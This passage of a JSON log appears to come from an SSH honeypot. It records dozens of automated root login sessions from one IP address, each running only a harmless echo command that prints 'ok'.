  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48046,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:29:48.743951+00:00",
  "ended_at": "2026-08-23T09:29:53.216882+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "73d3f57e-beac-49a7-ba0e-0bf0b79ef393",
  "name": "hardy-lively-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48044,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:29:46.067062+00:00",
  "ended_at": "2026-08-23T09:29:47.918227+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "445a32aa-f18b-4857-9413-5814d6355b88",
  "name": "mossy-regal-wolverine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48028,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:29:40.666047+00:00",
  "ended_at": "2026-08-23T09:29:45.405368+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4a0d567e-3d2e-4684-a70e-d269eac101a2",
  "name": "woven-gritty-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48026,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:29:38.997000+00:00",
  "ended_at": "2026-08-23T09:29:39.941834+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9782d488-5d25-49ea-ac16-16640c88c96f",
  "name": "faded-hazel-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36766,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:29:36.252189+00:00",
  "ended_at": "2026-08-23T09:29:38.284023+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "aded953c-d67d-4dba-b91b-af535a1f93c9",
  "name": "quaint-cheerful-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36764,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:29:33.589749+00:00",
  "ended_at": "2026-08-23T09:29:35.469235+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6221575a-40b0-48be-b123-c76735701818",
  "name": "windswept-whispering-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36748,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:29:31.433296+00:00",
  "ended_at": "2026-08-23T09:29:32.899678+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7eb10db2-00da-47da-a26d-48c9d756f002",
  "name": "bitter-downy-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36746,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:29:29.023309+00:00",
  "ended_at": "2026-08-23T09:29:30.717236+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "98f400cd-098a-460a-bc1b-81a65f884524",
  "name": "eager-stormy-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37044,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:29:26.247902+00:00",
  "ended_at": "2026-08-23T09:29:28.203319+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b1706e55-6f41-48fd-ac35-d7f2a999e948",
  "name": "bold-subtle-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37040,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:29:23.303304+00:00",
  "ended_at": "2026-08-23T09:29:25.463615+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8b9ca758-9713-4489-b916-009f6c33f82f",
  "name": "misty-frugal-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37024,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:29:21.367006+00:00",
  "ended_at": "2026-08-23T09:29:22.514188+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3da448bc-da4b-4b51-bd78-214b130c1627",
  "name": "rustic-weathered-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37012,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:29:19.400836+00:00",
  "ended_at": "2026-08-23T09:29:20.666647+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4c4a0eb2-6e01-4b43-9c0e-6a9cde76edd1",
  "name": "lanky-indigo-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46146,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:29:17.453304+00:00",
  "ended_at": "2026-08-23T09:29:18.640087+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6e7121aa-0f9e-48f7-82f7-63baf9145905",
  "name": "meadow-tawny-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46136,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:29:15.719625+00:00",
  "ended_at": "2026-08-23T09:29:16.673100+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f01e6c17-45b1-459d-83aa-1b426d2c61ff",
  "name": "distant-tender-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46128,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:29:12.934271+00:00",
  "ended_at": "2026-08-23T09:29:14.960148+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0c1c49ed-b11d-4bd6-b380-47970238d311",
  "name": "smooth-obsidian-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46124,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:29:10.990291+00:00",
  "ended_at": "2026-08-23T09:29:12.291995+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "84a57ea9-bd2e-4b90-a544-aab23c5c7aed",
  "name": "brazen-jagged-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42810,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:29:07.926307+00:00",
  "ended_at": "2026-08-23T09:29:10.205924+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "655db959-6e69-445e-b507-c799b86bd34b",
  "name": "watchful-tangled-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42808,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:29:04.944256+00:00",
  "ended_at": "2026-08-23T09:29:07.093662+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "30e2c01d-0ebe-465a-a436-dcb4e85d89d3",
  "name": "buoyant-sooty-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42798,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:29:02.645301+00:00",
  "ended_at": "2026-08-23T09:29:04.219823+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ae646a0c-073e-4694-adba-451f1a488609",
  "name": "pristine-feathered-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42786,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:59.989273+00:00",
  "ended_at": "2026-08-23T09:29:01.911037+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0fa6b364-3040-4795-8278-d23dec10294e",
  "name": "restless-opal-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50232,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:57.119333+00:00",
  "ended_at": "2026-08-23T09:28:59.289220+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "280cf8d1-3dc7-4252-968b-4040b5737c16",
  "name": "hazel-grumpy-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50220,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:54.444413+00:00",
  "ended_at": "2026-08-23T09:28:56.389890+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6568a26c-0de9-4d41-af69-943f56ffdb8c",
  "name": "jaunty-alpine-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50216,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:51.826415+00:00",
  "ended_at": "2026-08-23T09:28:53.810856+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f42e31d8-995f-4954-b8ee-0f5f9115f48e",
  "name": "woven-regal-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50204,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:49.741565+00:00",
  "ended_at": "2026-08-23T09:28:51.028844+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b4487e6b-6956-41e5-a4fc-5cdd1a58964a",
  "name": "genial-slender-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40008,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:46.685740+00:00",
  "ended_at": "2026-08-23T09:28:48.916001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d4fc197a-9509-4d31-ba3e-0c375df17312",
  "name": "crystal-weathered-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39994,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:44.938499+00:00",
  "ended_at": "2026-08-23T09:28:45.971575+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "94506696-f52a-4dfc-9fba-68bfdab0594f",
  "name": "vaulted-cosmic-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39986,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:42.546175+00:00",
  "ended_at": "2026-08-23T09:28:44.187718+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bec57751-5f28-4aca-b658-85da10c1493a",
  "name": "mottled-genial-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39976,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:39.863896+00:00",
  "ended_at": "2026-08-23T09:28:41.783990+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8f6871e5-5da7-4665-9271-0be7902421fd",
  "name": "lively-misty-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39072,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:37.767483+00:00",
  "ended_at": "2026-08-23T09:28:39.117905+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "85f11195-c861-4739-a7ae-1eb79602f3aa",
  "name": "obsidian-coastal-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39062,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:35.280901+00:00",
  "ended_at": "2026-08-23T09:28:37.096118+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d4dfcd06-2090-4d1d-9b5d-e886811c8d40",
  "name": "umber-crimson-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39054,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:32.993168+00:00",
  "ended_at": "2026-08-23T09:28:34.572602+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "051098da-2342-49eb-9a6b-923b481dc31c",
  "name": "western-whispering-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39048,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:30.671183+00:00",
  "ended_at": "2026-08-23T09:28:32.299246+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4c494d63-e566-4458-b645-44fa640422d9",
  "name": "dapper-blazing-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41906,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:28.162391+00:00",
  "ended_at": "2026-08-23T09:28:29.999225+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2eb6ea6f-c956-49db-9eaf-f2a8fe8b3837",
  "name": "earnest-electric-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41902,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:25.228298+00:00",
  "ended_at": "2026-08-23T09:28:27.481079+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "27bf4a22-b5c4-4e80-9fca-273557548513",
  "name": "somber-creaky-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41892,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:23.082427+00:00",
  "ended_at": "2026-08-23T09:28:24.606325+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2488c268-0be9-46dd-a2ed-4c399574d571",
  "name": "candid-inland-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41884,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:20.954159+00:00",
  "ended_at": "2026-08-23T09:28:22.357964+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "09fa8f25-502d-44ec-b2e7-21655d4902b9",
  "name": "valiant-autumn-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41868,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:19.297319+00:00",
  "ended_at": "2026-08-23T09:28:20.240258+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "37b0bedf-c675-4476-be29-a50173cdbd59",
  "name": "peaty-tender-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44966,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:17.429480+00:00",
  "ended_at": "2026-08-23T09:28:18.521008+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2709ac08-a7ef-4555-acfa-c6bbed2ba202",
  "name": "serene-freckled-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44950,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:14.485763+00:00",
  "ended_at": "2026-08-23T09:28:16.766242+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "28e20489-b2a9-45a9-9182-dca32b66df1b",
  "name": "salty-tranquil-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44946,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:12.048758+00:00",
  "ended_at": "2026-08-23T09:28:13.653872+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7eaf8fe9-27f9-47bf-8135-3af4553c481a",
  "name": "deft-obsidian-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44942,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:09.388893+00:00",
  "ended_at": "2026-08-23T09:28:11.414032+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "65799bb8-04db-4a77-8404-91c384d8664f",
  "name": "graceful-gritty-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55306,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:07.344580+00:00",
  "ended_at": "2026-08-23T09:28:08.607007+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "133c70f2-6572-4dcb-901a-3eaa8f88ad73",
  "name": "pleasant-scarlet-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55296,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:05.626280+00:00",
  "ended_at": "2026-08-23T09:28:06.561086+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "55b36441-1dad-4a6e-a3e5-4005c8659c0d",
  "name": "sincere-dusty-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55294,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:03.616397+00:00",
  "ended_at": "2026-08-23T09:28:04.809785+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "670562e3-29e2-48af-afda-697c185ca46b",
  "name": "noble-humble-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55278,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:28:01.585167+00:00",
  "ended_at": "2026-08-23T09:28:02.956048+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "51ffa608-8b91-428d-bcb4-77650c978307",
  "name": "calm-coral-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51560,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:27:58.626578+00:00",
  "ended_at": "2026-08-23T09:28:00.835248+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6772d779-5fb3-4e37-8685-04bc7cecf868",
  "name": "plush-ginger-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51552,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:27:56.495429+00:00",
  "ended_at": "2026-08-23T09:27:57.902914+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "eb1619f7-4920-4c7f-bd0c-b1aadcadf3ae",
  "name": "prairie-windswept-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51540,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:27:51.270174+00:00",
  "ended_at": "2026-08-23T09:27:55.846042+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b4f52748-7d03-4630-91bc-d63cebc5e71b",
  "name": "tranquil-frosty-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51524,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:27:49.193315+00:00",
  "ended_at": "2026-08-23T09:27:50.434027+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "37dd0a8b-17dd-44c9-a0e9-98d9afa71ea4",
  "name": "ivory-quartz-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50038,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
